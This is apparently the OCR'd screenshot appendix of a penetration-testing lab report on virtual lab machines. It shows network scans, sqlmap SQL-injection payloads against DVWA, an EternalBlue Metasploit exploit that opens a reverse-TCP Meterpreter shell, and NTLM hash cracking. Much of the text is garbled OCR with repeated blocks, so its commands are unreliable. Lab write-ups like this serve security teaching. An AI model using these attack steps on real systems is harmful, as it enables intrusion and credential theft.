	Proof-of-concept validation is limited to exploitation and terminated once it has been demonstrated to be successful.
	Lessens instability in systems and minimises undue interference with target systems.

	Data Management
	During testing, all commands and actions are logged with timestamps.
	Provides the ability to trace, replicate and organise reporting of attack activities.



Threat Emulation Plan
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nsfadnin@netasploitable:™$ ping 192.168.56.107
PING 192.168.56.107 (192.168.56.107) 56(84) bytes of data.
64 bytes from 192.168.56.107: icmp_seq=1 tt1=128 tine=0.760 ns

--- 192.168.56.107 ping statistics -—-
1 packets tramsmitted, 1 received, 0% packet loss, time Ons
rtt minavg/max/mdev = 0.760,0.760,/0.760/0.000 ns
nsfadminénetasploitable:™$ ip a
1: lo: <LOOPBACK,UP,LOVER_UP> mtu 16436 gdisc nogueue
Link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
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valid_Ift forever preferred_Ift forever
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Session Actions Edit View Help
Currently scanning: 192.168.0.0/16 |  Screen View: Unique Hosts

13 Captured ARP Req/Rep packets, from 5 hosts. Total size: 780

™ At MAC Address Count. Len MAC Vendor / Hostname

192.168.56.120 00:0c:29:5a:5F: 7 420 VMware, Inc.

192.168.56.2  00:50:56:f6:72 1 60 VMware, Inc.

192.168.56.101 00:0c:29:ac:05: 1 60 VMware, Inc.

192.168.56.107 00:0c:29:83:90 3 180 VMware, Inc.
1

192.168.56.254 00:50:56:e7:b4:e6 60 VMware, Inc.

(kali® kali)-[~]
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$ nmap sV 192.168.56.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-17 10:24 -0400
Stats: 0:02:48 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.00% done; ETC: 10:27 (0:00:00 remaining)
Nmap scan report for 192.168.56.101
Host is up (0.0021s latency).
Not shown: 977 closed tcp ports (reset)

PORT  STATE SERVICE  VERSION
21/tcp  open ftp vsftpd 2.3.4

22/tcp  open ssh OpenSsH 4.7p1 Debian Bubuntul (protocol 2.0)
23/tcp  open telnet Linux telnetd

25/tcp  open smtp Postfix smtpd

53/tcp  open domain IsC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd

1099/tcp open java-rmi  GNU Classpath grmiregistry
1524/tcp open bindshell ~Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open  ftp ProfTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntus
5432/tcp open postgresql PostgresQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open  X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajp13 Apache Jserv (Protocol vi.3)

8180/tcp open unknown
MAC Address: 00:0C:29:AC:05:48 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 174.00 seconds

—(kali® kali)-[~]




image14.png
plati®kati)-[~)

§ nmap T4 -F 192.168.56.120 192.168.56.101 192.168.56.107
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-17 11:37 -0400
Nmap scan report for 192.168.56.120

Host is up (0.0029s latency).

Not shown: 93 closed tcp ports (reset)

PORT STATE SERVICE

135/tcp  open msrpc

139/tcp  open netbios-ssn

445/tcp  open microsoft-ds

S554/tcp  open rtsp

49152/tcp open unknown

49153/tcp open  unknown

49154/tcp open unknown

MAC Address: 00:

24 (VMware)

Nmap scan report for 192.168.56.101
Host is up (0.0026s latency).
Not shown: 82 closed tcp ports (reset)
PORT  STATE SERVICE
21/tcp  open ftp

22/tcp  open ssh

23/tcp  open telnet

25/tcp  open smtp

53/tcp  open domain

80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
513/tcp open login

514/tcp open shell
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open  X11

8009/tcp open ajp13

MAC Address: 00:
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§ nmap A -Th 192.168.56.120 192.168.56.101 192.168.56.107
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-17 11:40 -0400
Nmap scan report for 192.168.56.120
Host is up (0.0023s latency).

Not shown: 991 closed tcp ports (reset)

PORT STATE SERVICE VERSTON

135/tcp  open msrpc Microsoft Windows RPC

139/tcp  open netbios-ssn Microsoft Windows netbios-ssn

445/tcp  open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: LAB)
554/tcp  open rtsp?

2869/tcp open http Microsoft HTTPAPL httpd 2.0 (SSDP/UPNP)

10243/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)

|_http-title: Not Found

|_http-server-header: Microsoft-HTTPAPI/2.0

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC

MAC Address: 00:
Device type: general purpose

Running: Microsoft Windows 2008|7|Vistals.1

05 CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows 7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows 8.1
05 details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1

Network Distance: 1 hop

Service Info: Host: WIN-0GSIF17IVP; 0S: Windows; CPE: cpe:/o:microsoft:windows

4 (VMware)

Host script results
| smb-os-discovery:
| 0s: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
05 CPE: cpe:/o:microsoft:windows_7:: spl
Computer name: WIN-0GSIF137IVP
NetBIOS computer name: WIN-0GSIF137IVP\x00
i 1ab.local

: lab.local
FQDN: WIN-0GSJF1J7IVP.lab.local
_ System time: 2026-04-17T21:13:23+05:30
nbstat: NetBIOS name: WIN-0GSJF1J7IVP, NetBIOS user: <unknown>, NetBIOS MAC: 00:
smb2-time:

date: 2026-04-17T15:43:24

start_date: 2026-04-17T13:42:02
smb2-security-mode:

2.1

Message signing enabled but not required

smb-security-mode:

account_used: <blank>

authentication level: user

challenge_response: supported

message_signing: disabled (dangerous, but default)

:24 (VMware)
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|_http-server-header: Microsoft-HTTPAPL/2.0
MAC Address: 00:0C:29:83:90:EB (VMware)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purposelphone|specialized

Running (JUST GUESSING): Microsoft Windows 20161101201212022|Phonel7 (97%)

05 CPE: cp icrosoft:windows_server_2016 cpe:/o:microsoft:windows_10 cpe:/o:microsof
pe:/o:microsoft:windows cpe:/o:microsoft:windows_7

Aggressive 05 guesses: Microsoft Windows Server 2016 (97%), Microsoft Windows 10 1607 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (9
1%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2022 (91%), Microsoft Windows Phone 7.5 or 8.0 (88%), Microsoft Windows Embedded
Standard 7 (87%)

No exact 0S matches for host (test conditions non-ideal).

Network Distance: 1 hop

Service Info: Host: WIN-QSONSAFRBB7; OS: Windows; CPE: cpe:/o:microsoft:

indows_server_2012:r2 cp; icrosoft :windows_server_2022 ¢

Host script results
| smb2-security-mod
I 3.1.1:
I_ Message signing enabled and required
|_nbstat: NetBIOS name: WIN-QSONSAFRBE7, NetBIOS user: <unknown>, NetBIOS MAC: @0:0c:29:83:90:eb (VMware)
| smb-security-mode:
account_used: <blank>
authentication_level: user
challenge_response: supported
message_signing: required
“smb-os-discovery:
0S: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
Computer name: WIN-QSONSAFRBB7
NetBIOS computer name: WIN-QSONSAFRBB7\x00
Domain name: lab.local
Forest name: lab.local
FQDN: WIN-QSONSAFRBB7.lab.local
System time: 2026-04-17T08:43:27-07:00
smb2-time
dat
start_date: 2026-04-17T13:01:
clock-skew: mean: 2h20mels, deviation: 4h02m31s, median: 0s

2026-04-17T1

4

TRACEROUTE
HOP RTT  ADDRESS
1 2.47 ms 192.168.56.107

Post-scan script results:

I clock-skew:

| -1hsomoos:

1 192.168.56.120

I_ 192.168.56.107

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 326.57 seconds
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L$ sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=165ubmit=Submit"

security=low; PHPSESSID=dde.83ba590ddbs7b0codddssabe643b™ —dbs

{1.9.124stable}

I_I" https://sqlmap.ors

legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:36:59 /2026-04-17/

[10:
[10:
[1e
[1e
[10:
[1e

36:
36:
37
37
37:
37

59] [INFO] testing connection to the target URL

59] [INFO] testing if the target URL content is stable

00] [INFO] target URL content is stable

00] [INFO] testing if GET parameter 'id' is dynamic

00] [WARNING] GET parameter 'id’ does not appear to be dynamic

001 [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MysQL')

[10:37:00] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (Xss) attacks
[10:37:00] [INFO] testing for SQL injection on GET parameter ‘id’

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [¥/n] y
[10:37:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause’

[10:37:04] [WARNING] reflective value(s) found and filtering out
[10:37:04] [INFO] testing 'Boolean-based blind - Parameter replace (original value)’
[10:37:04] [INFO] testing 'Generic inline queries’
[10:37:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)’
[10:37:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)’
[10:37:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)’
[10:37:00] [INFO] GET parameter 'id’ appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comnent)' injectable (with —not-string
[10:37:06] [INFO] testing 'MySQL > 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:37:06] [INFO] testing 'MySQL > 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[10:37:06] [INFO] testing 'MySQL > 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[10:37:06] [INFO] testing 'MySQL > 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[10:37:06] [INFO] testing 'MySQL > 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[10:37:06] [INFO] testing 'MySQL > 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[10:37:06] [INFO] testing 'MySQL > 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[10:37:06] [INFO] testing 'MySQL > 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[10:37:06] [INFO] testing 'MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)®
[10:37:06] [INFO] testing 'MySQL > 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:37:06] [INFO] testing 'MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)®
[10:37:06] [INFO] testing 'MySQL > 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)®
[10:37:06] [INFO] testing 'MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXWL)®
[10:37:06] [INFO] testing "MySQL > 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXHL)'

2 4.1

[10:37:06] [INFO] testing 'MysQL AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)®
[10:37:06] [INFO] GET parameter 'id' is 'MySQL > 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[10:37:06] [INFO] testing 'MySQL inline queries’
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5] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE SET)"

5] [INFO] testing "MySQL > 5.0.12 time-based blind - ORDER BY, GROUP BY clause’

:38:05] [INFO] testing 'MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK)'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technigue found. Do you want to reduce the number of requests? [Y/n] y
[ 9] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns’

[10:38:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns’

5] [INFO] testing "MySQL UNION query (random number) - 1 to 10 columns’

1] [WARNING] GET parameter 'Submit’ does not seem to be injectable

sqlmap identified the following injection point(s) with a total of 3913 HTTP(s) requests:

Parameter: id (GET)
: "boolean-based blind
OR boolean-based blind ~ WHERE or HAVING clause (NOT - MySQL comment)

Payload: id=1' OR NOT 5109=5109#5Submit=Submit

Type: error-based
Title: MysQL > 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1" AND ROW(1640,5909)>(SELECT COUNT(),CONCAT(0x7162626a71, (SELECT (ELT(1640=1640,1))),0x7171706a71, FLOOR(RAND(0)*2))x FROM (SELECT 6092 UNION SELECT 7526 UNION SELECT 4657 UNION SELECT 1326)a GR
OUP BY x)— UQCqESubmit=Submit

Type: time-based blind
Title: MysQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1886 FROM (SELECT(SLEEP(5)))vFfv)— oSVE&Submi:

Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x716a626a71,0x48764F47505454744a4652726e466a61454370736c6841606d7552696F6b5976416856505a566a50,0x7171706a71)#65ubmi t=Submit

[ 211 [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MysQL > 4.1

[10:38:21] [INFO] fetching database names
available databases [7]:

[*] dvwa

[+] information_schema

[*] metasploit

[*] mysql

[*] owasp10

[+] tikiwiki

[+] tikiwiki19s

[10:

21] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.101"
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$ nmap —script smb-vuln-ms17-01@ -p445 192.168.56.120
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-17 11:02 -0400
Nmap scan report for 192.168.56.120
Host is up (0.0038s latency).

PORT  STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:5A:5F:24 (VMware)

Host script results:
I smb-vuln-ns17-010:
| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

1 State: VULNERABLE

| IDs: CVE:CVE-2017-0143

1 Risk factor: HIGH

1 A critical remote code execution vulnerability exists in Microsoft SMBvl
| servers (ms17-010).
|

|

|

|

|

I

Disclosure date: 2017-03-14
References:
https: //technet.microsoft.con/en-us/library/security/ms17-010.aspx
https://cve.mitre.org/cgi-bin/cvenane. cgi?name=CVE-2017-0143
https://blogs. technet .microsoft.com/msrc/2017/05/12/custoner-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

(kali® kali)-[~]
Cs'n
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lkati®kali)- [ 1
$ msfconsole -
T 150 O T o (RO, e

[+*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf exploit(uindons/Sib/is17 010 cternalbluc) > set RHOSTS 192.168.56.120

RHOSTS = 192.168.56.120

msf exploit(uindons/sib/ns17 010 cternalbluc) > set LHOST 192.168.56.104

LHOST = 192.168.56.104

nsf exploit(windons/snb/ns17_010_eternalblue) > exploit

[+] Started reverse TCP handler on 192.168.56.104:4444

[*] 192.168.56.120:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

| 192.168.56.120:445 - Rex::ConnectionTimeout: The connection with (192.168.56.120:445) timed out.

[] 192.168.56.120:445 - Scanned 1 of 1 hosts (100% complete)

|| 192.168.56.120:445 - The target is not vulnerable.

[*] Exploit completed, but no session was created.

nsf exploit(windons/snb/ns17_010_eternalblue) > exploit

[+] Started reverse TCP handler on 192.168.56.104:4444

[*] 192.168.56.120:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

[+] 192.168.56.120:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gens/recog-3.1.25/1ib/recog/ Fingerprint/regexp_factory.rb:34: warning:
[+] 192.168.56.120:445 - Scanned 1 of 1 hosts (100% complete)

[+] 192.168.56. - The target is vulnerable.

[*] 192.168.56. - Connecting to target for exploitation.

[+] 192.168.56. - Connection established for exploitation.

[+] 192.168.56. - Target 05 selected valid for 05 indicated by SMB reply

[*] 192.168.56. - CORE raw buffer dump (38 bytes)

[+] 192.168.56. - 0x80000000 57 69 Ge 64 6 77 73 20 37 20 55 6¢ 74 69 6d 61 Windows 7 Ultima

[+] 192.168.56. - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service

[+] 192.168.56. - 0x80000020 50 61 63 6b 20 31 Pack 1

[+] 192.168.56. - Target arch selected valid for arch indicated by DCE/RPC reply

[*] 192.168.56. - Trying exploit with 12 Groom Allocations.

[+] 192.168.56. - Sending all but last fragment of exploit packet

[*] 192.168.56. - starting non-paged pool grooming

[+] 192.168.56. - Sending SMBv2 buffers

[+] 192.168.56. - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.

[*] 192.168.56. - Sending final SMBv2 buffers.

[+] 192.168.56. - Sending last fragment of exploit packet!

[*] 192.168.56. - Receiving response from exploit packet

[+] 192.168.56. - ETERNALBLUE overwrite completed successfully (0xC000000D)!

[*] 192.168.56. - Sending egg to corrupted connection.

[+] 192.168.56. - Triggering free of corrupted buffer.

[*] Sending stage (230982 bytes) to 192.168.56.120

[*] Meterpreter session 1 opened (192.168.56.10
[+] 192.168.56.120:445 —

nested repeat operator '+’ and '

was replaced with "+’ in regular expression

444 — 192.168.56.120:58263) at 2026-04-17 11:03:24 -0400

meterpreter > ls
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operable program or batch file.

Volume in drive C has no label.
Volume Serial Number is E60B-759F

Directory of C:\Users

04/17/2026 04333 PM  <DIR> .

04/17/2026 <DIR> -
04/17/2026 04i49 PM  <DIR> Admin
04/12/2011 01:58 PM  <DIR> Public

o File(s) 0 bytes

4 Dir(s) 53,744,001,024 bytes free

C:\Users>cd Admin
cd Adnin

C:\Users\Adnin>1s
1s

*1s’ is not recognized as an internal or external command,

operable program or batch file.

Users\Admin>dir
dir

Volume in drive C has no label.
Volume Serial Number is E60B-759F

Directory of C:\Users\Admin

04/17/2026 04:49 PM  <DIR> .
04/17/2026 04i49 PM  <DIR> .
04/17/2026 04343 PM  <DIR> Contacts
04/17/2026 04343 PM  <DIR> Desktop
04/17/2026 04343 PM  <DIR> Documents
04/17/2026 04343 PM  <DIR> Downloads
04/17/2026 04343 PM  <DIR> Favorites
04/17/2026 04343 PM  <DIR> Links
04/17/2026 04343 PM  <DIR> Music
04/17/2026 04343 PM  <DIR> Pictures
04/17/2026 04343 PM  <DIR> Saved Games
04/17/2026 04343 PM  <DIR> Searches
04/17/2026 04343 PM  <DIR> Videos

o File(s) 0 bytes

13 Dir(s) 53,744,001,024 bytes free

c:\users\Adnin>f]
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—(kali® kali)-[~]

—$ john —format=NT —wordlist=/usr/share/wordlists/rockyou.txt —rules hashes.txt

sing default input encoding: UTF-8

oaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])

emaining 1 password hash

arning: no OpenMP support for this hash type, consider —fork=é

ress 'q° or Ctrl-C to abort, almost any other key for status

g 0:00:00:39 DONE (2026-04-17 12:11) 0g/s 5943Kp/s 5943Kc/s 5943KC/s Aadamfamaylming .. Aaaaaaaaaaaaing
ession completed.

—(kali® kali)-[~]

—$ cat hashes.txt
dmin:7902e9b7eef97019e29cd1979c007bcS
jomeGroupUser$:6525ef41c1f758ee233c41183bF5208b

—(kali® kali)-[~]





image23.png
Session Actions Edit View Help

* Not-Tterated
* Single-salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected

Pure kernels can crack longer passwords, but drastically reduce performance
If you want to switch to optimized kernels, append -0 to your commandline
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 M8 (1206 MB free)

Dictionary cache built:

* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392

* Bytes.....: 139921507

* Keyspace..: 14344385

* Runtime...: 1 sec

7902e9b7eef97019629cd1979¢007bc5:2000
Approaching final keyspace - workload adjusted.

session hashcat
status. Exhausted

Hash.Mode........: 1000 (NTLM)
Hash.Target......: hashes.txt
Time.Started.....: Fri Apr 17 11:16:26 2026 (3 secs)
Time.Estimated ... : Fri Apr 17 11:16:29 2026 (0 secs)
Kernel.Feature ... : Pure Kernel (password length 0-256 bytes)

Guess.Base. ... File (/usr/share/wordlists/rockyou.txt)

Guess.Queue. . 1 1/1 (100.00%)

Speed. #01. 5002.8 kH/5 (0.14ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered. 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)
Progress. . : 14344385/14344385 (100.00%)

Rejected..... 0/14344385 (0.00%)

Restore.Point

..t 14344385/14344385 (100.00%)
Restore.Sub.#01

: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator

Candidates.#01...: kristenanne — $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 30%

Started: Fri Apr 17 11:15:52 2026
Stopped: Fri Apr 17 11:16:30 2026

(kali® kali)-[~]
oy}
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meterpreter > 1s
Listing: C:\Windows\system32

Mode size Type Last modified Name
040777/rwxrwxrux 0 dir  2011-04-12 04i17:52 -0400 0409

100666/rw-rw-Tw- 20832 fil  2026-04-17 19 -0400 7B296FBO-376B-497e-B012-9C4S0E1B7327-5P-0. C7483456-A289-439d-8115-601632D005A0
100666/rw-rw-rw- 20832 fil  2026-04-17 19 -0400 7B296FBO-376B-497e-B012-9C4SOE1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0

45 -0400 ACCTRES.d1l
55 0400 ARP.EXE

53 -0400 AUDIOKSE.d1l

49 -0500 ActionCenter.dll
49 -0500 ActionCenterCPL.dll
24 -0500 ActionQueue.dll

100666/ Tu-rw-ru- 39424 £il  2009-07-13
100777/ruxruxrux 24064 £il  2009-07-13
100666/rw-rw-rw- 499712 il  2009-07-13
100666/rw-rw-rw- 780800 il  2010-11-20
100666/rw-rw-rw- 549888 il  2010-11-20
100666/rw-rw-rw- 213504 il 2010-11-20

100777/rwxrwxrux 40448 il 2009-07-13 55 -0400 AdapterTroubleshooter. exe
100666/rw-rw-ru- 577024 fil  2010-11-20 41 -0500 AdmTmpl.dll
040777/rwxrwxrux 0 dir  2010-11-20 27 -0500 AdvancedInstallers
100666/rw-rw-rw- 53248 fil  2009-07-13 01 -0400 AltTab.dll
100666/rw-rw-rw- 312320  fil  2009-07-13 01 -0400 AppIdPolicyEngineApi.dll
100666/rw-rw-rw- 33792 fil  2009-07-13 01 -0400 Apphlpdn.dll

55 -0400 AtBroker.exe
04 -0400 AudioEng.dll

32 -0500 AudioSes.dll

04 -0400 AuditNativesnapIn.dll

04 -0400 AuditPolicyGPInterop.dll

04 -0400 AuthFWGP.dl1

15 -0500 AuthFWsnapin.dll

33 -0400 AuthFWWizFuk.dll

04 -0400 AuxiliaryDisplayApi.dll

04 -0400 AuxiliaryDisplayClassInstaller.dll
06 -0500 AuxiliaryDisplayCpl.dil

05 -0400 AuxiliarybisplayDriverLib.dll
5:06 -0500 AuxiliaryDisplayServices.dll

100777/ruxrwxrux 35328 £il  2009-07-13
100666/rw-rw-rw- 440832 il  2009-07-13
100666/ru-rw-rw- 296448 il  2010-11-20
100666/rw-rw-rw- 220672 il  2009-07-13
100666/Tu-rw-ru- 75264 £il  2009-07-13
100666/rw-rw-rw- 304128 il  2009-07-13
100666/rw-rw-rw- 5066752 il 2010-11-20
100666/rw-rw-rw- 126976 il  2009-07-13
100666/rw-rw-rw- 164352 il  2009-07-13
100666/rw-rw-rw- 136192 il 2009-07-13
100666/rw-rw-rw- 726528 il  2010-11-20
100666/rw-rw-rw- 189440 il  2009-07-13
100666/rw-rw-rw- 135680 il  2010-11-20

&
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3
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3
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514/tcp open shell Netkit rshd

1099/tcp open java-rmi  GNU Classpath grmiregistry
1524/tcp open bindshell ~Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp ftp ProfFTPD 1.3.1

3306/tcp mysql MysSQL 5.0.51a-3ubuntus

| protocol: 10
| Version: 5.0.51a-3ubuntus

| Thread Ip: 15762

| Capabilities flags: 43564

| some Capabilities: Support4lAuth, SupportsTransactions, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsCompression, Speaks41ProtocolNew, Conne
©

|

|

withDatabase

Status: Autocommit
_ salt: ?iswot{+_!$1h:60<!,X
5432/tcp open postgresql PostgresqQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=0C0SA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T1 5
|_Not valid after: 2010-04-16T1
| ssl-date: 2026-04-17T13:39:02+00:00; -2h06m33s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
I vnc-info:
| Protocol version: 3.3
| security type:
|_ VNC Authentication (2)

6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)

|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open unknown

I_http-title: Apache Tomcat/s.5

|_http-favicon: Apache Tomcat

MAC Address: of 48 (VMware)

Device type: general purpose
Running: Linux 2.6.X

05 CPE: cpe:/o:linux:linux_kernel:
05 details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:

| account_used: <blank>

| authentication level: user

| challenge_response: supported

|_ message signing: disabled (dangerous, but default)
|

I

smb-os-discover;
0

Unix (Samba 3.0.20-Debian)
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$ nmap —script smb-vuln-ms17-01@ -p445 192.168.56.120
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-17 11:02 -0400
Nmap scan report for 192.168.56.120
Host is up (0.0038s latency).

PORT  STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:5A:5F:24 (VMware)

Host script results:
I smb-vuln-ns17-010:
| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

1 State: VULNERABLE

| IDs: CVE:CVE-2017-0143

1 Risk factor: HIGH

1 A critical remote code execution vulnerability exists in Microsoft SMBvl
| servers (ms17-010).
|

|

|

|

|

I

Disclosure date: 2017-03-14

References:
https: //technet.microsoft.con/en-us/library/security/ms17-010.aspx
https://cve.mitre.org/cgi-bin/cvenane. cgi?name=CVE-2017-0143
https://blogs. technet .microsoft.com/msrc/2017/05/12/custoner-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

(kali® kali)-[~]
Cs'n
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—(kali® kali)-[~]
$ nano hashes.txt

—(kali® kali)-[~]
% hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL APT (OpenCL 3.0 PoCL 6.0+debian

Linux, NonesAsserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i5-12450HX, 1456/2913 M8 (512 MB allocatable), 4MCU

Minimun password length supported by kernel: 0
Maximun password length supported by kernel: 256

Hashfile 'hashes.txt’ on line 1 (Admin:7902e9b7eef9701929cd1979c007bc5): Token length exception
Hashfile "hashes.txt’ on line 2 (HomeGr ...6525ef41c1f758ee233c41183bf5208b): Token length exception

* Token length exception: 2/2 hashes
This error happens if the wrong hash type is specified, if the hashes are
malformed, or if input is otherwise not as expected (for example, if the
—username or —dynamic-x option is used but no username or dynamic-tag is present)

No hashes loaded.

Started: Fri Apr 17 11:12:50 2026
Stopped: Fri Apr 17 11:12:55 2026

 (kali® kali)-T~1
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meterpreter > cd Users

"~ stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > shell

Process 2260 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.

C:\Windows\systen32>cd Users
cd Users
The system cannot find the path specified.

Ci\Windows\systen32>cd ..
..

C:\Windows>cd ..
cd ..

c\ls

1s

*1s is not recognized as an internal or external command,
operable program or batch file.

i\

[d

Cidir

dir

Volume in drive C has no label.
Volume Serial Number is E60B-759F

Directory of C:\
07/14/2009 08:50 AN <DIR> Perflogs

04/17/2026 04:48 PM  <DIR> Program Files
04/17/2026 0446 PM  <DIR> Progran Files (x86)
